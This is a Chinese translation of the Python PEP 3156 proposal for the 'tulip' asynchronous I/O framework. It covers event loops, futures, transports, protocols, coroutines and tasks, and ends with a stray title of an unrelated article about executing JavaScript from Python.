获取和设置当前事件的循环对象；

一个确认事件循环对象的接口和它的最低保证

一个事件循环实现可能提供额外的方法和保证。

事件循环接口不取决于产量，相反，它使用一个回调，额外接口（传输协议和协议）以及期货（？）的组合。后者类似于在PEP3148中定义的接口，但有不同的实现而且不
绑定到线程。特别是，它们没有wait()方法，用户将使用回调。

对于那些不喜欢用回调函数的人（包括我），（Python）提供了一个写异步I/O代码的调度器作为协同程序，它使用了PEP 380的yield
from表达式。这个调度器并不是可插入的；可插入性存在于事件循环级别，同时调度器也应该工作在任何符合标准的事件循环实现上。

对于那些在使用协同程序和其他异步框架的代码的互操作性，调度器有一个行为上类似Future的Task类。一个在事件循环级别进行交互操作的框架能够通过加入一个回
调函数到Future中，同时等待一个Future来完成。同样的，调度器提供一个操作来挂起协同程序，直到回调函数被调用。

通过事件循环接口来为线程间交互操作提供限制；（Python里）有一个API能够提交一个函数到一个能够返回兼容事件循环的Future的执行器（看 PEP
3148）。

没有目的的



像Stackless Python或 greenlets/gevent 的系统互操作性不是本教程的目的。

规范



依赖



Python3.3是必需的。不需超过Python3.3范围的新语言或标准库。不需要第三方模块或包。

模块命名空间



这里的规范会放在一个新的顶层包。不同的组件会放在这个包的不同子模块里。包会从各自的子模块中导入常用的API，同时使他们能作为包的可用属性（类似电子邮件包的做
法）。

顶层包的名字目前还没指定。参考实现使用“tulip”来命名，但是这个名字可能会在这个实现加入到标准库的时候改变为其他更为烦人的名字（有希望在Python3.
4中）。

在烦人的名字选好之前，这篇教程会使用“tulip”作为顶层包的名字。假定没有给定模块名的类和函数都通过顶层包来访问。

事件循环策略：获取和设置事件循环



要获取当前的事件循环，可以使用get_event_loop()。这函数返回一个在下面有定义的EventLoop类的实例或者一个等价的对象。get_event
_loop()可能根据当前线程返回不同的对象，或者根据其他上下文的概念返回不同对象。

要设置当前事件循环，可以使用set_event_loop(event_loop)，这里的event_loop是EventLoop类的实例或者等价的实例对象。
这里使用与get_event_loop()相同的上下文的概念。

还有第三个策略函数：new_event_loop()，有利于单元测试和其他特别的情况，它会创建和返回一个新的基于该策略的默认规则的EventLoop实例。要
使它成为当前的事件循环，你需要调用set_event_loop()。

要改变上述三个函数的工作方式（包括他们的上下文的概念），可以通过调用set_event_loop_policy(policy)，其中参数policy是一个事
件循环策略对象。这个策略对象可以是任何包含了类似上面描述的函数表现（get_event_loop(),set_event_loop(event_loop)和
new_event_loop()）的对象。默认的事件循环策略是DefaultEventLoopPolicy类的一个实例。当前事件循环策略对象能够通过调用ge
t_event_loop_policy()来取回。

一个事件循环策略没强制要求只能有一个事件循环存在。默认的事件循环策略也没强制要求这样做，但是它强制要求每个线程只能有一个事件循环。

事件循环接口



关于时间：在 Python 中，所有的超时（timeout），间隔（interval）和延时（delay）都是以秒来计算的，可以是整型也可以是浮点型。时钟的
精准度依赖于具体的实现；默认使用 time.monotonic()。

关于回调（callbacks）和处理函数（handlers）：如果一个函数接受一个回调函数和任意个数的变量作为参数，那么你也可以用一个处理函数对象（Hand
ler）来替换回调函数。这样的话就不需要再传递那些参数。这个处理函数对象应该是一个立即返回的函数（fromcall_soon()），而不是延迟返回的（fro
mcall_later()）。如果处理函数已经取消，那么这个调用将不起作用。

一个符合标准的事件循环对象拥有以下的方法：

run()。 执行事件循环，知道没啥好做了。具体的意思是：

除了取消调用外，没有更多通过call_later(),call_repeatedly(),call_soon(),
orcall_soon_threadsafe()这些方法调度的调用。

没有更多的注册了的文件描述符。 当它关闭的时候会由注册方来注销文件描述符。

备注:直到遇到终止条件或者调用stop()，run()会一直阻塞。

备注: 如果你使用call_repeatedly()来执行一个调用，run()不会在你调用stop()前退出。

需要详细说明： 有多少类似的真正需要我们做的？

run_forever()。直到调用stop()前一直运行事件循环。

run_until_complete(future,
timeout=None)。在Future完成前一直运行事件循环。如果给出了timeout的值，它会等待timeout的时间。
如果Future完成了，它的结果会返回 或者它的异常抛出；如果在超时前完成Future， 或者stop()被调用,会抛出TimeoutError
（但Future不会被取消）. 在事件循环已经在运行的时候，这个方法不能调用。

备注: 这个API更多用来做测试或者类似的工作。 它不应该用作从yield from 表达式的future替代品或其他等待一个Future的方法。 (例如
注册一个完成的回调)。

run_once(timeout=None)。运行事件循环一段事件。 如果给出了timeout的值， I/O轮询会阻塞一段时间； 否则,
I/O轮询不会受时间约束。

备注：准确来说，这里做了多少工作是根据具体实现的。
一个约束是：如果一个使用call_soon()来直接调度自己，会导致死顺坏，run_once()仍然会返回。

stop()。尽可能快地停止事件循环。随后可以使用run()重启循环（或者的一个变体）。

备注:
有多块来停止是根据它具体实现。所有在stop()前已经在运行的直接回调函数必定仍在运行，但是在stop()调用后的调度的回调函数（或者延迟运行的）不会运行。

close()。关闭事件循环，释放它所保持的所有资源，例如被epoll()或kqueue()使用的文件描述符。这个方法不应该在事件循环运行期间调用。它可以被
多次调用。

call_later(delay, callback, *args)。为callback(*args)安排延迟大约delay秒后调用，一旦，除非被取消了。返
回一个Handler对象代表回调函数，Handler对象的cancel()方法常用来取消回调函数。

call_repeatedly(interval, callback, **args)。和call_later()类似，但是会在每个interval秒中重复
调用回调函数，直到返回的Handler被取消。第一次调用是在interval秒内。

call_soon(callback, *args)。类似call_later(0, callback, *args)。

call_soon_threadsafe(callback, *args)。类似call_soon(callback, *args)，但是当事件循环在阻塞等
待IO的时候在另外的线程调用，事件循环的阻塞会被取消。这是唯一安全地从另外的线程调用的方法。（要在一个线程安全的方式去延迟一段时间调度回调函数，你可以使用e
v.call_soon_threadsafe(ev.call_later,when,callback,*args)。）但它在信号处理器中调用并不安全（因为它
可以使用锁）。

add_signal_handler(sig, callback, *args)。无论什么时候接收到信号 ``sigis ， callback(*args)
会被安排调用。返回一个能来取消信号回调函数的Handler。（取消返回的处理器回导致在下个信号到来的时候调用remove_signal_handler()。
优先明确地调用remove_signal_handler()。）为相同的信号定义另外一个回到函数来替代之前的handler（每个信号只能激活一个handle
r）。sig参数必需是一个在信号模块里定义的有效的信号值。如果信号不能处理，这会抛出一个异常：如果它不是一个有效的信号或者如果它是一个不能捕获的信号（例如S
IGKILL），会抛出ValueError。如果这个特别的事件循环实例不能处理信号（因为信号是每个处理器的全局变量，只有在主线程的事件循环才能处理这些信号）
，它会抛出RuntimeError。

remove_signal_handler(sig)。为信号sig移除handler，当有设置的时候。抛出和add_signal_handler()一样的异
常（除了在不能不错的信号时返回False代替抛出RuntimeError）。如果handler移除成功，返回True，如果没有设置handler则返回Fal
se。

一些符合标准接口返回Future的方法：

wrap_future(future)。 这里需要在PEP 3148 描述的Future
（例如一个concurrent.futures.Future的实例） 同时返回一个兼容事件循环的Future （例如, 一个tulip.Future实例）。

run_in_executor(executor, callback, *args)。安排在一个执行器中调用callback(*args) （请看 PEP
3148）。返回的Future的成功的结果是调用的返回值。 这个方法等价于wrap_future(executor.submit(callback,
*args))。 如果没有执行器,则会是也能够一个默认为5个线程的ThreadPoolExecutor。

set_default_executor(executor). 设置一个被run_in_executor()使用的默认执行器。

getaddrinfo(host, port, family=0, type=0, proto=0, flags=0). 类似socket.getaddri
nfo()函数，但是返回一个Future。Future的成功结果为一列与socket.getaddrinfo()的返回值有相同格式数据。 默认的实现通过ru
n_in_executor()来调用socket.getaddrinfo()，但其他实现可能会选择使用他们自己的DNS查找。可选参数必需是指定的关键字参数。

getnameinfo(sockaddr, flags=0). 类似socket.getnameinfo()，但返回一个Future。
Future的成功的结果将会是一个(host, port)的数组。 与forgetaddrinfo()有相同的实现。

create_connection(protocol_factory, host, port, **kwargs).
使用给定的主机和端口创建一个流链接。这会创建一个依赖Transport的实现来表示链接，
然后调用protocol_factory()来实例化（或者取回）用户的Protocol实现，
然后把两者绑定到一起。（看下面对Transport和Protocol的定义。） 用户的Protocol实现通过调用无参数(*)的protocol_facto
ry()来创建或者取回。返回值是Future，它的成功结果是(transport, protocol)对； 如果有错误阻止创建一个成功的链接，Future会
包含一个适合的异常集。注意，当Future完成的适合，协议的connection_made()方法不会调用；那会发生在链接握手完成的适合。

(*) 没有要求protocol_factory是一个类。如果你的协议类需要定义参数传递到构造函数，你可以使用lambda或者functool.partia
l()。你也可以传入一个之前构造好的Protocol实例的lambda。

可选关键参数:

family,proto,flags：地址簇，协议，
和混合了标志的参数传递到getaddrinfo()。这些全是默认为0的。（(socket类型总是SOCK_STREAM。）

ssl：传入True来创建一个SSL传输（通过默认一个无格式的TCP来建立）。或者传入一个ssl.SSLConteext对象来重载默认的SSL上下文对象来使
用。

start_serving(protocol_factory, host, port, **kwds)。进入一个接收连接的循环。返回一个Future，一旦循
环设定到服务即完成；它的返回值为是None。每当接收一个链接，无参数(*)的protocol_factory被调用来创建一个Protocol，一个代表了链接
网络端的Transport会被创建，以及两个对象通过调用protocol.connection_made(transport)绑定到一起。

（*）看上面对create_connection()的补充说明。 然而，
因为protocol_factory()只会在每个新进来的连接调用一次，所以推荐在它每次调用的时候返回一个新的Protocol对象。

可选关键参数:

family,proto,flags：地址簇，协议，
和混合了标志的参数传递到getaddrinfo()。这些全是默认为0的。（(socket类型总是SOCK_STREAM。）

补充: 支持SSL吗? 我并不知道怎样来异步地支持（SSL），我建议这需要一个证书。

补充:也许可以使一个Future的结果对象能够用来控制服务循环，例如停止服务，终止所有的活动连接，以及（如果支持）调整积压（的服务）或者其他参数？它也可以有
一个API来查询活动连接。另外，如果循环由于错误而停止服务，或者如果不能启动，则返回一个仅仅完成了的Future（子类？）？取消了它可能会导致停止循环。

补充：一些平台可能没兴趣实现所有的这些方法， 例如 移动APP就对start_serving()不太感兴趣。
（尽管我的iPad上有一个Minecraft的服务器...）

以下这些注册文件描述符的回调函数的方法不是必需的。如果没有实现这些方法，访问这些方法（而不是调用它们）时会返回属性错误（AttributeError）。默认
的实现提供了这些方法，但是用户一般不会直接用到它们，只有传输层独家使用。同样，在 Windows 平台，这些方法不一定实现，要看到底是否使用了 select
或 IOCP 的事件循环模型。这两个模型接收整型的文件描述符，而不是 fileno() 方法返回的对象。文件描述符最好是可查询的，例如，磁盘文件就不行。

add_reader(fd, callback, *args). 在文件描述符 fd 准备好可以进行读操作时调用指定的回调函数
callback(*args)。返回一个处理函数对象，可以用来取消回调函数。注意，不同于
call_later()，这个回调函数可以被多次调用。在同一个文件描述符上再次调用 add_reader()
将会取消之前设置的回调函数。注意：取消处理函数有可能会等到处理函数调用后。如果你要关闭 fd，你应该调用
remove_reader(fd)。（TODO：如果已经设置了处理函数，抛出一个异常）。

add_writer(fd, callback, *args).  类似 add_reader()，不过是在可以写操作之前调用回调函数。

remove_reader(fd). 为文件描述符 fd
删除已经设置的读操作回调函数。如果没有设置回调函数，则不进行操作。（提供这样的替代接口是因为记录文件描述符比记录处理函数更方便简单）。删除成功则返回
True，失败则返回 False。

remove_writer(fd).  为文件描述符 fd 删除已经设置的写操作回调函数。

未完成的：如果一个文件描述符里面包含了多个回调函数，那应该怎么办呢？目前的机制是替换之前的回调函数，如果已经注册了回调函数则应该招聘异常。

接下来下面的方法在socket的异步I/O中是可选的。他们是替代上面提到的可选方法的，目的是在Windows的传输实现中使用IOCP（如果事件循环支持）。s
ocket参数必需是唔阻塞socket。

sock_recv(sock, n)。从套接字sock中接收字节。返回一个Future，Future在成功的时候会是一个字节对象。

sock_sendall(sock, data)。发送字节数据到套接字sock。返回一个Future，Future的结果在成功后会是None。（补充：让它去
模拟sendall()或send()会更好吗？但是我认为sendall()——也许它扔应该命名为send()?)

sock_connect(sock, address)。连接到给定的地址。返回一个Future，Future的成功结果是None。

sock_accept(sock)。从socket中接收一个链接。这socket必需在监听模式以及绑定到一个定制。返回一个Future，Future的成功结
果会是一个（conn，peer）的数组，conn是一个已连接的无阻塞socket以及peer是对等的地址。（补充：人们告诉我这个API风格对于高水平的服务器
是很慢的。所以上面也有start_sering()。我们还需要这个吗？）

补充：可选方法都不是太好的。也许这些都是需要的？它仍然依赖于平台的更有效设置。另外的可能是：文档标注这些“仅提供给传输”，然后其他的“可提供给任何的情况”。

回调顺序



当在同一时间调度两个回调函数时，它们会按照注册的顺序去执行。例如：

ev.call_soon(foo)

ev.call_soon(bar)

保证foo()会在bar()执行。

如果使用call_soon()，即使系统时钟要逆行，这个保证还是成立的。这同样对call_later(0,callback,*args)有效。然而，如果在系
统时钟要逆行下，零延迟地使用call_later()，那就无法得到保证了。（一个好的事件循环实现应该使用time.monotonic()来避免系统时钟逆行的
情况导致的问题。参考 PEP 418 。）

上下文



所有的事件循环都有上下文的概念。对于默认的事件循环实现来说，上下文就是一个线程。一个事件循环实现应该在相同的上下问中运行所有的回调。一个事件循环实现应该在同
一时刻只运行一个回调，所以，回调要负责保持与相同事件循环里调度的其他回调自动互斥。

异常



在Python里有两类异常：从Exception类到处的和从BaseException导出的。从Exception导出的异常通常能适当地被捕获和处理；例如，
异常会通过Future传递，以及当他们在一个回调了出现时，会被记录和忽略。

然而，从BaseException到处的异常从来不会被捕获到，他们通常带有一个错误回溯信息，同时导致程序终止。（这类的例子包括KeyboardInterru
pt和SystemExit；如果把这些异常与其他大部分异常同样对待，那时不明智的）。

Handler类



有各样注册回调函数的方法（例如call_later())都会返回一个对象来表示注册，改对象能够用来取消回调函数。尽管用户从来不用去实例化这个类，但还是想要给
这个对象一个好的名字：Handler。这个类有一个公用的方法：

cancel(). 尝试取消回调函数。 补充：准确的规范。

只读的公共属性：

callback。 要被调用的回调函数。

args。调用回调函数的参数数组。

cancelled。如果cancel()表调用了，它的值为True。



要注意的是一些回调函数（例如通过call_later()注册的）意味着只会被调用一次。其他的（如通过add_reader()注册的）意味着可以多次被调用。

补充：一个调用回调函数的API（是否有必要封装异常处理）？它是不是要记录自己被调用了多少次？也许这个API应该是_call_()这样？（但它应该抑制异常。）

补充：当回调函数在调度的时候有没有一些公共的属性来记录那些实时的值？（因为这需要一些方法来把它保存到堆里面的。）

Futures



ulip.Future 特意设计成和 PEP 3148中的 concurrent.futures.Future 类似，只是有细微的不同。这个PEP中谈及
Future 时，都是指 tulip.Future，除非明确指定是
concurrent.futures.Future。tulip.Future支持的公开API如下，同时也指出了和 PEP 3148 的不同：

cancel().  如果该 Future 已经完成（或者被取消了），则返回 False。否则，将该 Future
的状态更改成取消状态（也可以理解成已完成），调度回调函数，返回 True。

cancelled(). 如果该 Future 已经被取消了，返回 True。

running(). 总是返回False。和 PEP 3148 不同，这里没有 running 状态。

done(). 如果该Future已经完成了，返回True。注意：取消了的Future也认为是已经完成了的（这里和其他地方都是这样）。

result(). 返回 set_result() 设置的结果，或者返回 set_exception()
设置的异常。如果已经被取消了，则抛出CancelledError。和 PEP 3148
不同，这里没有超时参数，并不等待。如果该Future尚未完成，则抛出一个异常。

exception(). 同上，返回的是异常。

add_done_callback(fn).  添加一个回调函数，在Future完成（或者被取消）时运行。如果该Future已经完成（或者被取消），通过
call_soon() 来调度回调函数。不同于 PEP
3148，添加的回调函数不会立即被调用，且总是会在调用者的上下文中运行。（典型地，一个上下文是一个线程）。你可以理解为，使用 call_soon()
来调用该回调函数。注意：添加的回调函数（不同于本PEP其他的回调函数，且忽略下面"回调风格（Callback Style）"小节的约定）总会接收到一个
Future 作为参数，且这个回调函数不应该是 Handler 对象。

set_result(result).
T该Future不能处于完成（或者取消）状态。这个方法将使当前Future进入完成状态，并准备调用相关的回调函数。不同于 PEP
3148：这是一个公开的API。

set_exception(exception).  同上，设置的是异常。

内部的方法 set_running_or_notify_cancel() 不再被支持；现在已经没有方法直接设置成 running  状态。

这个PEP定义了以下的异常:

InvalidStateError. 当调用的方法不接受这个 Future 的状态时，将会抛出该异常（例如：在一个已经完成的 Future
中调用set_result() 方法，或者在一个未完成的 Future 中调用 result()方法）。

InvalidTimeoutError. 当调用 result() 或者 exception() 时传递一个非零参数时抛出该异常。

CancelledError.  concurrent.futures.CancelledError 的别名。在一个已经取消的 Future 上面调用
result() 或 exception() 方法时抛出该异常。

TimeoutError. concurrent.futures.TimeoutError 的别名。有可能由
EventLoop.run_until_complete() 方法抛出。

创建一个 Future 时将会与默认的事件循环关联起来。（尚未完成的：允许传递一个事件循环作为参数?）。

concurrent.futures 包里面的 wait() 和 as_completed() 方法不接受 tulip.Future
对象作为参数。然而，有类似的 API tulip.wait() 和 tulip.as_completed()， 如下所述。

在子程序（coroutine）中可以将 tulip.Future 对象应用到 yield from 表达式中。这个是通过 Future 中的
__iter__() 接口实现的。请参考下面的“子程序和调度器”小节。

当 Future 对象被回收时，如果有相关联的异常但是并没有调用 result() 、 exception() 或 __iter__()
方法（或者说产生了异常但是还没有抛出），那么应该将该异常记录到日志中。TBD：记录成什么级别？

将来，我们可能会把 tulip.Future 和 concurrent.futures.Future 统一起来。例如，为后面个对象添加一个
__iter__() 方法，以支持 yield from 表达式。为了防止意外调用尚未完成的 result()
而阻塞事件循环，阻塞机制需要检测当前线程是否存在活动的事件循环，否则抛出异常。然而，这个PEP为了尽量减少外部依赖（只依赖
Python3.3），所以目前将不会对 concurrent.futures.Future 作出改变。

传输层



传输层是指基于 socket 或者其他类似的机制（例如，管道或者SSL连接）的抽象层。这里的传输层深受 Twisted 和 PEP 3153
的影响。用户很少会直接实现或者实例化传输层，事件循环提供了设置传输层的相关方法。

传输层是用来和协议一起工作的。典型的协议不关心底层传输层的具体细节，而传输层可以用来和多种的协议一起工作。例如，HTTP 客户端实现可以使用普通的
socket 传输层，也可以使用SSL传输层。普通 socket 传输层可以与 HTTP 协议外的大量协议一起工作（例如，SMTP, IMAP, POP,
FTP, IRC, SPDY)。

大多数连接有不对称特性：客户端和服务器通常有不同的角色和行为。因此，传输层和协议之间的接口也是不对称的。从协议的视角来看，发送数据通过调用传输层对象的
write() 方法来完成。write() 方法将数据放进缓冲区后立即返回。在读取数据时，传输层将充当一个更主动的角色：当从
socket（或者其他数据来源） 接到数据后，传输层将调用协议的 data_received() 方法。

传输层有以下公开方法：

write(data). 写数据。参数必须是一个 bytes 对象。返回 None。传输层可以自由缓存 bytes
数据，但是必须确保数据发送到另一端，并且维护数据流的行为。即：t.write(b'abc'); t.write(b'def') 等价于
t.write(b'abcdef')，也等价于：

t.write(b'a')

t.write(b'b')

t.write(b'c')

t.write(b'd')

t.write(b'e')

t.write(b'f')

writelines(iterable). 等价于：

for data in iterable:

   self.write(data)

write_eof(). 关闭写数据端的连接，将不再允许调用 write()
方法。当所有缓冲的数据传输之后，传输层将向另一端发信号，表示已经没有其他数据了。有些协议不支持此操作；那样的话，调用 write_eof()
将会抛出异常。（注意：这个方法以前叫做 half_close()，除非你明确知道具体含义，这个方法名字并不明确表示哪一端会被关闭。）

can_write_eof().  如果协议支持 write_eof()，返回 True ；否则返回 False。（当 write_eof()
不可用时，有些协议需要改变相应的行为，所以需要这个方法。例如，HTTP中，为了发送当前大小未知的数据，通常会使用 write_eof()
来表示数据发送完毕。但是，SSL
不支持这种行为，相应的HTTP协议实现需要使用分段（chunked）编码。但是如果数据大小在发送时未知，适用于两种情况的最好方案是使用 Content-
Length 头。）

pause(). 暂停发送数据，直接调用了 resume() 方法。在 pause() 调用，再到调用 resume() 之间，不会再调用协议的
data_received() 方法。在 write()  方法中无效。

resume(). 使用协议的 data_received() 重新开始传输数据。

close(). 关闭连接。在所有使用 write() 缓冲好的数据发送完毕之前，不会关闭连接。连接关闭后，协议的 data_received()
方法不会再被调用。当所有缓冲的数据发送完毕后，将会用 None 作为参数调用协议的 connection_lost()
方法。注意：这个方法不确保会调用上面所有的方法。

abort(). 中断连接。所有在缓冲区内尚未传输的数据都会被丢弃。不久后，协议的 connection_lost() 将会被调用，传入一个 None
参数。（待定：在 close(), abort() 或者另一端的关闭动作中，对 connection_lost() 传入不同的参数?
或者添加一个方法专门用来查询这个? Glyph 建议传入不同的异常）

尚未完成的：提供另一种流量控制的方法：传输层在缓冲区数据成为负担的情况下有可能暂停协议层。建议：如果协议有 pause() 和 resume()
方法的话，允许传输层调用它们；如果不存在，则协议不支持流量控制。（对 pause() 和 resume()，可能协议层和传输层使用不同的名称会好一点？）

协议 (Protocols)



协议通常和传输层一起配合使用。这里提供了几个常用的协议（例如，几个有用的HTTP客户端和服务器实现），大多数协议需要用户或者第三方库来实现。

一个协议必须实现以下的方法，这些方法将被传输层调用。这些回调函数将被事件循环在正确的上下文中调用（参考上面的上下文("Context")小节）。

connection_made(transport).
意味着传输层已经准备好且连接到一个实现的另一端。协议应该将传输层引用作为一个变量保存起来（这样后面就可以调用它的 write()
及其他方法），也可以在这时发送握手请求。

data_received(data). 传输层已经从读取了部分数据。参数是一个不为空的的 bytes 对象。这个参数的大小并没有明确的限制。
p.data_received(b'abcdef') 应该等价于下面的语句：

p.data_received(b'abc')

p.data_received(b'def')

eof_received(). 在另一端调用了 write_eof() 或者其他等价的方法时，这个方法将被调用。默认的实现将调用传输层的 close()
方法，close() 方法调用了协议中的 connection_lost() 方法。

connection_lost(exc). 传输层已经关闭或者中断了，另一端已经安全地关闭了连接，或者发生了异常。在前三种情况中，参数为
None；在发生了异常的情况下，参数是导致传输层中断的异常。（待定：是否需要区分对待前三种情况？）

这里是一个表示了调用的顺序和多样性的图:

connection_made()-- exactly once

data_received()-- zero or more times

eof_received()-- at most once

connection_lost()-- exactly once

补充: 讨论用户的代码是否要做一些事情保证协议和传输协议不会被过早地GC（垃圾回收）。

回调函数风格



大部分接口采取回调函数也采取位置参数。举例来说，要安排foor("abc",42)马上调用，你可以调用ev.call_soon(foo,"abc",42)。
要计划调用foo()，则使用ev.call_soon(foo)。这种约定大大地减少了需要典型的回调函数编程的小lambda表达式的数量。

这种约定明确的不支持关键字参数。关键字参数常用来传递可选的关于回调函数的额外信息。这允许API的优雅的改革，不用担心是否一个关键字在某些地方被一个调用者声明
。如果你有一个必需使用关键字参数调用的回调函数，你可以使用lambda表达式或者functools.partial。例如：

ev.call_soon(functools.partial(foo, "abc", repeat=42))



选择一种事件循环的实现方式

待完成。（关于使用select/poll/epoll，以及如何改变选择。属于事件循环策略）

协程和调度器



这是一个独立的顶层部分，因为它的状态与事件循环接口不同。协程是可选的，而且只用回调的方式来写代码也是很好的。另一方面，只有一种调度器/协程的API实现，如果
你选择了协程，那就是你唯一要用的。

协同程序



一个协同程序是遵循一下约定的生产者。为了良好的文档的目的，所有的协同程序应该用@tulip.coroutine来修饰，但这并没严格要求。

协同程序使用在 PEP 380 里介绍的yield from语法啦代替原始的yield语法。

这个“协同程序”的词和“生产者”的含义类似，是用来描述两个不同（尽管是有关系）的概念。

定义了协同程序的函数（使用tulip.coroutine修饰定义的一个函数）。如果要消除歧义的话，我们可以称这个函数为协同程序函数(coroutine
function)。

通过一个协同函数获得对象。这个对象代表了一个最终会完成的计算或者I/O操作（通常两者都有）。我们可以称这个对象为协同程序对象(coroutine
object)来消除歧义。



协程能做的事情：

结果= 从future使用yield-- 直到future完成，挂起协程，然后返回future的结果，或者抛出它要传递的异常。

结果 = 从coroutine使用yield--等待另外的协程产生结果 （或者抛出一个要传递的异常）。这协程的异常必须是对另外一个协同程序的调用。

返回结果-- 为使用yield from表达式等待结果的协程返回一个结果。

抛出异常-- 在协程里为使用yield from表达式等待的（程序）抛出一个异常。

调用一个协程不会马上执行它的代码——它仅仅是一个生产者，同时通过调用而返回的协程确实只是一个生产者对象，它在你迭代它之前不会做任何事情。对于协程来说，有两种
基本的方法来让它开始运行：从别的协程里调用yield（假设另外的协程已经在运行了！），或者把它转换为一个Task（看下面）。

协程只有在事件循环在运行时才能运行。

等待多个协同程序



有两个类似wait()和as_completed()，在包concurrent.futures里的API提供来等待多个协同程序或者Future：

tulip.wait(fs, timeout=None, return_when=ALL_COMPLETED)。 这是一个由fs提供等待Future或者其他
协同程序完成的协同程序。协同程序参数会封装在Task里（看下面）。这方法会返回一个Future，Future的成功结果是一个包含了两个Future集的元组（
做完(done)，挂起(pending)），done是一个原始Future（或封装过的协同程序）的集合表示完成（或取消），以及pending表示休息，例如还
没完成（或者取消）。可选参数timeout和return_when与concurrent.futures.wait()里的参数都有同样的意思和默认值:tim
eout，如果不是None，则为全部的操作指定一个timeout；return_when，指定什么时候停止。常量FIRST_COMPLETED，FIRST_
EXCEPTION，ALL_COMPLETED使用相同的值定义同时在 PEP 3148里有相同的意思：

ALL_COMPLETED(default): 等待，知道所有的Future处理了或者完成了 （或者直到超时发生）。

FIRST_COMPLETED: 等待，知道至少一个Future做好了或者取消（或者直到超时发生）。

FIRST_EXCEPTION: 等待，知道至少一个Future由于异常而做好（非取消） （这种从过滤器中排除取消的Future是很神奇的，但PEP
3148 就用这种方法里做了。）

tulip.as_completed(fs, timeout=None). 返回一个值为Future的迭代器;
等待成功的值，直到下一个Future或者协同程序从fs中完成都处于等待状态， 同时返回它自己的结果
（或者抛出它的异常）。可选参数timeout与concurrent.futures.wait()里的参数都有同样的意思和默认值: 当存在超时的时候，
下一个由迭代器返回的Future在等待的时候会抛出异常TimeoutError。 使用列子：

for f in as_completed(fs):

   result = yield from f  # May raise an exception.

   # Use result.



任务（Task）



任务（Task）是一个管理独立运行子程序的对象。Task接口和Future接口是一样的。如果子程序完成或者抛出异常，那么与之关联的任务也就完成了。返回的结果
就是相应任务的结果，抛出的异常就是相应任务的异常。

如果取消一个尚未完成的任务，将会阻止关联的子程序继续执行。在这种情况下，子程序将会接收到一个异常，以更好地处理这个取消命令。当然，子程序不一定要处理这个异常
。这种机制通过调用生成器标准的  close() 方法，这个在 PEP 342 中有描述。

任务对于子程序间的交互以及基于回调的框架（例如 Twisted）也很有用。将一个子程序转化成任务之后，就可以将回调函数加到任务里。

你可能会问，为什么不将所有子程序都转化成任务？ @tulip.coroutinedecorator
可以实现这个任务。这样的话，如果一个子程序调用了另外的子程序（或者其他复杂情况），那么整个程序将会变得相当慢。在复杂情况下，保持子程序比转换成任务要快得多。

调度器



调度器没有公开的接口。你可以使用 future 和 task 的 yield
和调度器进行交互。实际上，调度器并没有一个具体的类实现。通过使用事件循环的公共接口，Future 和 Task
类表现了调度器的行为。所以即使换了第三方的事件循环实现，调度器特性也可以使用。

睡眠



尚未完成的：yield sleep(秒). 可以用 sleep(0) 来挂起并查询I/O。

协同程序与协议



使用协同程序去实现协议的最好方法坑农是使用一个流缓存，这缓存使用data_received()来填充数据，同时能够使用像read(n)和readline()
等返回一个Future的方法来异步读取数据。当链接关闭时，read()方法应该返回一个Future，这Future的结果会是''，或者如果connectio
n_closed()由于异常而被调用，则抛出一个异常。

要写入数据的话，在transport上的write()（及同类型的）方法能够使用——这些不会返回一个Future。应该提供用于设置和在调用了connecti
on_made()时开始协同程序的一个标准的协议实现。

补充：更多的规范。

取消



补充。当一个任务被取消了，它的协同程序会在它从调度程序中放弃的任何一个地方中看到异常（例如可能在操作中放弃）。我们需要讲清楚要抛出什么异常。

再次补充：超时。

已知问题



调试的API？ 例如 一些能够记录大量材料的或者是记录不常用条件的 （就像队列填充比排空快）或者甚至回调函数耗费大量时间...

我们需要内省的API吗？例如请求读回调函数返回一个文件描述符。或者当下一个调度的（回调函数）被调用时。或者由回调函数注册了的一些文件描述符。

传输可能需要一个方法来试着返回socket的地址（和另外的方法返回对等的地址）。尽管这是依赖于socket的类型，同时这并不总是一个socket；然后就应该
返回None。（作为选择，可以有个方法来返回socket自身——但可以想到一个没有使用socket来实现IP链接，那它应该怎么做呢？）

需要处理os.fokd()。（这可能在Tulip的情况下会上升到选择器类。）

也许start_serving()需要一个方法来传入到一个当前的socket（例如gunicorn就需要这个）。create_connection()也有同
样的问题。

我们也许会介绍一些明确的锁，尽管使用起来有点痛苦，因为我们不能使用with锁：阻塞语法（因为要等待一个锁的话，我们就要用yield
from了，这是with语句不能做到的）。

是否要支持数据报协议、链接。可能要更多的套接字I/O方法，例如sock_sendto()和sock_recvfrom()。或者用户客户自己编写（这不是火箭科
学）。有它的理由去覆盖write()，writelines()，data_received()到一个单一的数据报？（Glyph推荐后者。）然后用什么来代替w
rite()？最后，我们需要支持无连接数据报协议吗？（这意味着要封装sendto()和recvfrom()。）

我们可能需要API来控制各种超市。例如我们可能想限制在解析DNS、链接、SSL握手、空闲链接、甚至是每个会话里消耗的时间。也许有能充分的加入timeout的
关键字参数到一些方法里，和其他能够巧妙地通过call_later和Task.cancel()来实现超时。但可能有些方法需要默认的超时时间，同时我们可能想改变
这种规范的全局操作的默认值。（例如，每个事件循环）。

一个NodeJS风格的事件触发器？或者把这个作为一个单独的教程？这其实在用户空间做是足够容易的，尽管可能放在标准化里好一点（看https://github.
com/mnot/thor/blob/master/thor/events.py和https://github.com/mnot/thor/blob/mas
ter/doc/events.md 举的例子。）



参考文献



PEP 380 来自于TBD：Greg Ewing的教程描述yield的语义。

PEP 3148 描述concurrent.futures.Future.

PEP 3153,虽然被拒绝了, 但很好的描述了分离传输和协议的需要。

Tulip repo: http://code.google.com/p/tulip/

Nick Coghlan在一些背景下写的一个很好的博客条目，关于异步I/O不同处理、gevent、以及怎样使用future就像wihle、for和with的
概念的思想， : http://python-
notes.boredomandlaziness.org/en/latest/pep_ideas/async_programming.html

TBD: 有关Twisted、Tornado、ZeroMQ、pyftpdlib、libevent、libev、pyev、libuv、wattle等的参考

鸣谢



除了PEP 3153之外, 受到的影响包括 PEP 380 and Greg Ewing的yield from的教程, Twisted, Tornado,
ZeroMQ, pyftpdlib, tulip (作者的企图是想把这些全部综合起来), wattle (Steve Dower的相反的提议),
2012年9月到12月在python-ideas上大量讨论, 一个与Steve Dower和 Dino Viehland在Skype上的会话, 和Ben
Darnell的电子邮件交流, 一个Niels Provos的听众 (libevent原始作者),两场和几个Twisted开发者的面对面会议， 包括了
Glyph、Brian Warner、David Reid、 以及Duncan McGreggor。同样的，作者前期在为Google App
Engine的NDB库的异步支持也有重要的影响。

Python 执行js的2种解决方案

2018-01-01T00:00:00+08:00

# Python 执行js的2种解决方案

第1种方案

